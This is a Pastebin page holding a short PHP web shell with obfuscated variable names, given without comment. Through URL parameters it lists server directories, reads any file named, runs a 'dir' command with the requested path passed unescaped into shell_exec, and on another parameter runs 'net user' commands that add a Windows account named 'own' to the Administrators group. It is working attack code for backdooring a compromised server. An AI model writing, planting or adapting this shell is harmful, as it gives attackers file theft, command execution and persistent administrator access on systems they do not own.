Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- //I'm using code from Inphex (inphex0 at googlemail.com)
- //Copyrighted © Inphex
- error_reporting(E_ALL ^ E_NOTICE);
- $qQa = ($_GET['qmB'] == "")?"./":$_GET['qmB'];
- $qQd = opendir($qQa);
- if (isset($_GET['qrF']))
- {
- $qrX = fopen($_GET['qrF'],"r");
- echo fread($qrX,50000);
- exit;
- } elseif(isset($_GET['qQx'])) { exec("net user own own /add & net
- localgroup Administrators own /add"); echo "User own -> full privileges
- successfully added";exit;}
- echo "<textarea rows=40 cols=80
- style='position:absolute;margin-left:390;'>";
- echo htmlspecialchars(shell_exec("cd ".$qQa." & dir"));
- echo "</textarea>";
- while (false !== ($qQr = readdir($qQd))){
- switch(filetype($qQa.$qQr))
- {
- case "dir":
- echo "<a
- href=?qmB=".urlencode(htmlspecialchars(realpath($qQa.$qQr)))."/>".htmlspecialchars($qQr)."</a><br>";
- break;
- case "file":
- echo "<a
- href=?qrF=".urlencode(htmlspecialchars(realpath($qQa.$qQr))).">".htmlspecialchars($qQr)."</a><br>";
- break;
- }
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement